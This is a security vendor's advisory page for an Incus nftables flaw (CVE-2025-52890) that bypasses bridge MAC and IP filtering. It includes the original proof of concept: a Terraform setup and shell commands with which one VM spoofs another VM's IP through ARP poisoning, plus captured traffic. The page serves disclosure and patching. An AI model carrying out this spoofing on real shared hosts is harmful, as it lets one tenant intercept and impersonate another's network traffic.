Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
HIGH severity

GHSA-p7fw-vjjm-2rwp v6

HIGHFix: lxc/incus@254dfd2

GHSA-p7fw-vjjm-2rwp is a high-severity (CVSS 8.1) CWE-863 vulnerability in github.com/lxc/incus/v6. A fix is available for github.com/lxc/incus/v6 — see the affected versions and patch details below.

Incus creates nftables rules that partially bypass security options

Also known asCVE-2025-52890GO-2025-3782
Published
Jun 26, 2025
Updated
Mar 30, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 19, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-p7fw-vjjm-2rwp.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs12th percentile — riskier than 12% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-p7fw-vjjm-2rwp plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 376,715 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐹github.com/lxc/incus/v6

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

When using an ACL on a device connected to a bridge, Incus generates nftables rules that partially bypass security options security.mac_filtering, security.ipv4_filtering and security.ipv6_filtering. This can lead to ARP spoofing on the bridge and to fully spoof another VM/container on the same bridge.

Details

In commit d137a063c2fe2a6983c995ba75c03731bee1557d, a few rules in the bridge input chain are moved to the top of the chain:

ct state established,related accept

iifname "{{.hostName}}" ether type arp accept
iifname "{{.hostName}}" ip6 nexthdr ipv6-icmp icmpv6 type { nd-neighbor-solicit, nd-neighbor-advert } accept

However, these rules accept packets that should be filtered and maybe dropped by later rules in the "MAC filtering", "IPv4 filtering" and "IPv6 filtering" snippets:

iifname "{{.hostName}}" ether type arp arp saddr ether != {{.hwAddr}} drop
iifname "{{.hostName}}" ether type ip6 icmpv6 type 136 @nh,528,48 != {{.hwAddrHex}} drop
...
iifname "{{.hostName}}" ether type arp arp saddr ip != { {{.ipv4NetsList}} } drop
...
iifname "{{.hostName}}" ether type ip6 icmpv6 type 136 {{.ipv6NetsPrefixList}} drop

Basically, the added rules partially bypass the security options security.mac_filtering, security.ipv4_filtering and security.ipv6_filtering. Doing so, they allow an attacker to perform ARP poisoning/spoofing attacks and send malicious Neighbor Advertisement (type 136).

PoC

With this terraform infrastructure:

resource "incus_network_acl" "acl_allow_out" {
  name    = "acl-allow-out"
  egress = [
    {
      action           = "allow"
      destination      = "0.0.0.0-9.255.255.255,11.0.0.0-172.15.255.255,172.32.0.0-192.167.255.255,192.169.0.0-255.255.255.254"
      state            = "enabled"
    },
  ]
}
resource "incus_network_acl" "acl_allow_in" {
  name    = "acl-allow-in"
  ingress = [
    {
      action           = "allow"
      state            = "enabled"
    },
  ]
}

resource "incus_network" "br0" {
  name = "br0"
  config = {
    "ipv4.address"          = "10.0.0.1/24"
    "ipv4.nat"              = "true"
  }
}

resource "incus_instance" "machine1" {
  name  = "machine1"
  image = "images:archlinux/cloud"
  type = "virtual-machine"
  config = {
    "limits.memory" = "2GiB"
    "security.secureboot" = false
    "boot.autostart" = false
    "cloud-init.vendor-data" = <<-EOF
      #cloud-config
      package_update: true
      packages:
        - dhclient
        - tcpdump
      runcmd:
        - systemctl disable --now systemd.networkd.service
        - systemctl disable --now systemd.networkd.socket
    EOF
  }
  device {
    type = "disk"
    name = "root"
    properties = {
      pool = "default"
      path = "/"
      size = "64GiB"
    }
  }
  device {
    type = "nic"
    name = "eth0"
    properties = {
      network = incus_network.br0.name
      "security.ipv4_filtering" = true
      "security.acls" = join(",",
        [
          incus_network_acl.acl_allow_out.name,
          incus_network_acl.acl_allow_in.name,
        ])
    }
  }
}

resource "incus_instance" "machine2" {
  name  = "machine2"
  image = "images:archlinux/cloud"
  type = "virtual-machine"
  config = {
    "limits.memory" = "2GiB"
    "security.secureboot" = false
    "boot.autostart" = false
  }
  device {
    type = "disk"
    name = "root"
    properties = {
      pool = "default"
      path = "/"
      size = "64GiB"
    }
  }
  device {
    type = "nic"
    name = "eth0"
    properties = {
      network = incus_network.br0.name
    }
  }
}

An attacker in a VM (machine1) change their IP address to another VM (machine2)'s IP. The malicious change is reflected in the ARP table of the host, bypassing the MAC filtering. When the host emits or forwards a packet to machine2's IP, it is sent to machine1. In addition, as ct state established,related accept is now the first rule in bridge chain input, machine1 can even answer and thus fully spoof the victim on the network.

[HOST]$ ip n
10.0.0.236 dev br0 lladdr 10:66:6a:88:e6:5b REACHABLE # machine2
10.0.0.2 dev br0 lladdr 10:66:6a:89:39:45 REACHABLE # machine1

# Spoof machine2
[MACHINE1]$ ip add del 10.0.0.2/24 dev enp5s0
[MACHINE1]$ ip add add 10.0.0.236/24 dev enp5s0

# Flood
[MACHINE1]$ arping 10.0.0.1

# Machine2's IP refers to machine1's MAC in host ARP table
[HOST]$ ip n
10.0.0.236 dev br0 lladdr 10:66:6a:89:39:45 STALE

# Packets from the host (or forwarded by the host) to machine2 ...
[HOST]$ ping 10.0.0.236
PING 10.0.0.236 (10.0.0.236) 56(84) bytes of data.
64 bytes from 10.0.0.236: icmp_seq=1 ttl=64 time=1.19 ms

# ... are sent to machine1!
[MACHINE1]$ tcpdump -nei enp5s0
listening on enp5s0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
15:15:17.008470 10:66:6a:99:e0:d8 > 10:66:6a:89:39:45, ethertype IPv4 (0x0800), length 98: 10.0.0.1 > 10.0.0.236: ICMP echo request, id 4, seq 1, length 64
15:15:17.008513 10:66:6a:89:39:45 > 10:66:6a:99:e0:d8, ethertype IPv4 (0x0800), length 98: 10.0.0.236 > 10.0.0.1: ICMP echo reply, id 4, seq 1, length 64

Impact

All versions since d137a063c2fe2a6983c995ba75c03731bee1557d, so basically v6.12 and v6.13.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/lxc/incus/v66.12.0&&< 6.14.06.14.0go get github.com/lxc/incus/v6@v6.14.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/lxc/incus/v6, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/lxc/incus/v6 to 6.14.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-p7fw-vjjm-2rwp is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-p7fw-vjjm-2rwp can be triaged on real exposure rather than presence alone.

Tailored to GHSA-p7fw-vjjm-2rwp. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary When using an ACL on a device connected to a bridge, Incus generates nftables rules that partially bypass security options `security.mac_filtering`, `security.ipv4_filtering` and `security.ipv6_filtering`. This can lead to ARP spoofing on the bridge and to fully spoof another VM/container on the same bridge. ### Details In commit d137a063c2fe2a6983c995ba75c03731bee1557d, a few rules in the bridge input chain are moved to the top of the chain: ct state established,related accept iifname "{{.hostName}}" ether type arp accept iifname "{{.hostName}}" ip6 nexthdr ipv6-i
O3 Security · Impact-Aware SCA

Is GHSA-p7fw-vjjm-2rwp in your dependencies?

O3 Security finds GHSA-p7fw-vjjm-2rwp across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-p7fw-vjjm-2rwp: v6 (High 8.1) | O3 Security